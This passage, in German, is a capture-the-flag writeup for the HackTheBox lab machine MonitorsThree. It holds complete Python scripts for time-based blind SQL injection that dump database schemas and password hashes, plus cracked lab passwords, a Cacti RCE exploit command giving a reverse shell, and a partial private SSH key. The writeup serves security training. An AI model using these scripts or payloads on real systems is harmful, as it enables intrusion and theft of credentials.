> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# MonitorsThree HackTheBox Writeup

Writeup zur HackTheBox-Medium-Linux-Maschine MonitorsThree mit Abdeckung von Subdomain-Enumeration, SQLI - manuelle zeitbasierte Blind-Injection (Python-Skripting), Hash-Cracking, Cacti-Ausnutzung (CVE-2024-25642)

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Subdomain-Aufzählung
* SQLI - Manuelle zeitbasierte Blind-Injektion (Python-Scripting)
* Hashes knacken
* Cacti-Ausnutzung (CVE-2024-25642) - Schädlicher Paketimport
* Informationsleck
* Ausnutzung interner Dienste - Duplicati
* Duplicati missbrauchen - Login-Authentifizierung mit Server-Passphrase umgehen
* Duplicati - Erstellen eines Backups zum privilegierten Lesen und Schreiben von Dateien (Privilegieneskalation)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248cee7ecd7dfbe0bf72b945d8732854e3731987%2Fimage%20(2306).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dada986844b36b784c989ab9a79593a54918c3a5%2Fimage%20(2307).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e04459a2a02bd8a1cbea3ab0856af4c78610b03%2Fimage%20(2308).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2289a18c2e887d96f2bf9c3a71b02fc7d8c68cd%2Fimage%20(2309).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-678a8073e2483768f03912c24ba86d8f58196890%2Fimage%20(2310).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed84638a21d781227e5afd768b7422c60c6592e8%2Fimage%20(2311).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b24bad742bf695cee988b2df9c516d53a177fc22%2Fimage%20(2312).png?alt=media" alt=""><figcaption></figcaption></figure>

### Verzeichnisliste:

**Nur suchen** Verzeichnisse

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e91576799bde076e18e2d659c440c3a84ae40fad%2Fimage%20(1332).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* Nach Dateien mit bestimmten Erweiterungen (PHP, HTML, TXT) im Admin-Verzeichnis suchen:/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

Wir finden die `db.php` Datei, aber sie enthält keine Daten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28717970baac1f37489e0027c484309c3e134684%2Fimage%20(1333).png?alt=media" alt=""><figcaption></figcaption></figure>

## SQL-Injektion

#### Erkennung der Schwachstelle

Wir haben eine SQL-Schwachstelle in der Funktion „Passwort vergessen“ identifiziert. Der folgende Payload wurde verwendet, um die Schwachstelle zu bestätigen:

```sql
admin' or 1=1-- -
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2413239952363812a420725e649f6ba899ccb99%2Fimage%20(1163).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Bestätigung der Schwachstelle mit zeitbasierter Angriffsmethode

Um die Schwachstelle zu bestätigen, verwendeten wir einen zeitbasierten SQL-Angriff:

```sql
admin' and sleep(5)-- -
```

Die Antwort dauerte 5 Sekunden und bestätigte damit die Schwachstelle.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e746b207e5c62a3e8932ad306e9f15dd87da9d41%2Fimage%20(2772).png?alt=media" alt=""><figcaption></figcaption></figure>

## **SQL-Injektion - zeitbasiert**

#### Ausnutzung mit einem Python-Skript automatisieren

Wir entwickelten ein Python-Skript, um die Datenextraktion per SQL-Injektion zu automatisieren. Das Skript extrahierte den Datenbanknamen, Tabellennamen, Spalten und schließlich sensible Daten wie Benutzernamen und Passwörter.

### Datenbank:

**Beispiel für ein Skript zum Extrahieren des Datenbanknamens:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log-Konfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("Starte SQL-Injection-Angriff...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, die Schleife beenden
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Endgültig extrahierte Daten: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff durch.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Datenbankname**: `monitorsthree_db`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c93af63a28a5ab1dc190fd65c03c55884463a54c%2Fimage%20(2773).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Datenbanken:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log-Konfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrahiere Datenbanknamen an Offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            # Die SQL-Anfrage mit allen erforderlichen Variablen formatieren
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, die Schleife beenden
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # Anfrage zum Extrahieren von Datenbanknamen
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("Keine weiteren Datenbanken gefunden.")
            break
        
        databases.append(database_name)
        logger.info(f"Gefundene Datenbank: {database_name}")
        offset += 1
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Liste der Datenbanken: {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff durch.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb3556b428601990fd6f679865321d8108f12c3%2Fimage%20(2774).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Tabellen:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log-Konfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrahiere Tabellennamen an Offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            # Die SQL-Anfrage mit allen erforderlichen Variablen formatieren
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, die Schleife beenden
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Anfrage zum Extrahieren von Tabellennamen aus der Datenbank `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("Keine weiteren Tabellen gefunden.")
            break
        
        tables.append(table_name)
        logger.info(f"Gefundene Tabelle: {table_name}")
        offset += 1
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Liste der Tabellen in monitorsthree_db: {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff durch.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Tabellen** : `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-817a935a59cbe3e0506f21f5c683c490be6eddaf%2Fimage%20(2775).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Spalten:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log-Konfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrahiere Spaltennamen an Offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            # Die SQL-Anfrage mit allen erforderlichen Variablen formatieren
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, die Schleife beenden
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Anfrage zum Extrahieren von Spaltennamen aus der Tabelle `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("Keine weiteren Spalten gefunden.")
            break
        
        columns.append(column_name)
        logger.info(f"Gefundene Spalte: {column_name}")
        offset += 1
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Liste der Spalten in Tabelle 'users': {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff durch.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Spalten in der `users` Tabelle**: `ID`, `Benutzername`, `E-Mail`, `Passwort`, `name`, `Position`, `dob`, `start_date`, `salary`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca55f3adfc7f7b9f4216d91941c1b39326fbdb96%2Fimage%20(2776).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Extrahierte Daten**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log-Konfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrahiere Daten an Offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            # Die SQL-Anfrage mit allen erforderlichen Variablen formatieren
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, die Schleife beenden
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # Anfrage zum Extrahieren von Benutzernamen
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # Anfrage zum Extrahieren von Passwörtern
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("Keine weiteren Zugangsdaten gefunden.")
            break
        
        credentials.append((username, password))
        logger.info(f"Gefundene Zugangsdaten: {username}:{password}")
        offset += 1
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Liste der Zugangsdaten: {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff aus, um Zugangsdaten zu extrahieren.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd29fbeb0272277c22f5b2dd87b7118efa5161e%2Fimage%20(2779).png?alt=media" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## Passwort-Knacken

{% embed url="<https://crackstation.net/>" %}

Wir haben **CrackStation** verwendet, um Passwort-Hashes zu knacken. Die folgenden Zugangsdaten wurden ermittelt:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d50e74d72e1929319055a6263edd422f2d013e%2Fimage%20(2778).png?alt=media" alt=""><figcaption></figcaption></figure>

**Kennungen:**

* Benutzer: `admin`
* Passwort: `greencacti2001`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1a10b5c0d10f80f09f9968b62102c9b549ff5bf%2F%7B99A84365-CAC2-4F99-B4C2-9ABCD5058FC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/* Liste der Subdomains\:/*/*

Mit dem Gobuster-Befehl zur Aufzählung der Subdomains:

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

Wir finden die `cacti.monitorsthree.htb` Subdomain.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e322e227b379179c1331148e3f3a6ae88f4b5d34%2Fimage%20(1334).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fügen diesen Eintrag in `/etc/hosts`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd67f9878b1c7acc6b50c96efd384e65c455e34b%2Fimage%20(1336).png?alt=media" alt=""><figcaption></figcaption></figure>

**Zugriff auf das Cacti-Anmeldepanel:**

Das Cacti-Anmeldepanel, Version 1.2.26, ist auf dieser Subdomain verfügbar. Mit `admin:greencacti2001` Zugangsdaten gelingt uns die Anmeldung.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9569ebcb6bc325f184ecc836aa6a69d39e4d900%2Fimage%20(1164).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung der Cacti-RCE-Schwachstelle <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

Um die NCE-Schwachstelle von Cacti auszunutzen, ändern wir eine PHP-Datei und führen ein Skript aus:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b3d6ec067173955063f188a6077f764adf5af92%2Fimage%20(1168).png?alt=media" alt=""><figcaption></figcaption></figure>

Dieses Skript erstellt eine komprimierte Datei mit einer PHP-Nutzlast, die in den Zielserver eingeschleust wird und uns so eine Reverse Shell verschafft.

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e78196f672197c437f48c04cbb6367761cbab65%2Fimage%20(1169).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **Privilegieneskalation :**

Bei der Untersuchung des `/var/www/html` Webverzeichnisses finden wir Datenbankdateien im `cacti` Ordner, einschließlich der `config.php` Konfigurationsdatei unter `/var/www/html/cacti/include/config.php`.

Auszüge aus `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84e41ca07ad68c8343c8acd11093c971f12f8971%2Fimage%20(1175).png?alt=media" alt=""><figcaption></figcaption></figure>

Anschließend listen wir die Benutzer in der `user_auth` Tabelle in der `cacti` Datenbank zu erstellen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a6f46176b44e7cb72916ec6b677cacdc225d94%2F%7B141E5C94-E5A4-40AE-94DE-72A480601B50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-111336a7dca78fd4386cddc21a2cea961cfef9fe%2Fimage%20(1176).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Wir verwenden `john` um die wiederhergestellten Passwörter zu knacken:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Dies zeigt das `marcus` Benutzerpasswort: `12345678910`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61e8d76fdca37cc18c0423ddeb8be7745f3a151e%2Fimage%20(1177).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cae48acc12129d2984229eb20ed898a6ce73e1b%2Fimage%20(1178).png?alt=media" alt=""><figcaption></figcaption></figure>

Nach diesem Schritt erhalten wir außerdem den `marcus` SSH-Schlüssel des Benutzers:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-343a222d55a0209b1002bbbc6542cd8c563d9990%2Fimage%20(1159).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqgvIpzJXDWJOJejC3CL0m9gx8IXO7UBIfGplG1XCC6GhqPQh8OXK
rPkApFwR1k4oJkxQJi0fG2oSWmssfwqwY4FWw51sNIALbSIV3UIlz8/3ufN0zmB4WHacS+
k7hOP/rJ8GjxihThmh6PzC0RbpD/wCCCvF1qX+Bq8xc7797xBR4KfPaA9OgB0uvEuzVWco
MYII6QvznQ1FErJnOiceJoxRrl0866JmOf6moP66URla5+0sLta796+ARDNMQ2g4geh53p
ja3nZYq2QAi1b66GIRmYUGz4uWunRJ+6kUvf7QVmNgmmnF2cVYFpdlBp8WAMZ2XyeqhTkh
Z4fg6mwPyQfloTFYxw1jv96F+Kw4ET1tTL+PLQL0YpHgRTelkCKBxo4/NiGs6LTEzsucyq
Dedke5o/5xcIGnU/kTtwt5xXZMqmojXOywf77vomCuLHfcyePf2vwImF9Frs07lo3ps7pK
ipf5cQ4wYN5V7I+hFcie5p9eeG+9ovdw7Q6qrD77AAAFkIu0kraLtJK2AAAAB3NzaC1yc2
EAAAGBAKoLyKcyVw1iTiXowtwi9JvYMfCFzu1ASHxqZRtVwguhoaj0IfDlyqz5AKRcEdZO
KCZMUCYtHxtqElprLH8KsGOBVsOdbDSAC20iFd1CJc/P97nzdM5geFh2nEvpO4Tj/6yfBo
8YoU4Zoej8wtEW6Q/8Aggrxdal/gavMXO+/e8QUeCnz2gPToAdLrxLs1VnKDGCCOkL850N
RRKyZzonHiaMUa5dPOuiZjn+pqD+ulEZWuftLC7Wu/evgEQzTENoOIHoed6Y2t52WKtkAI
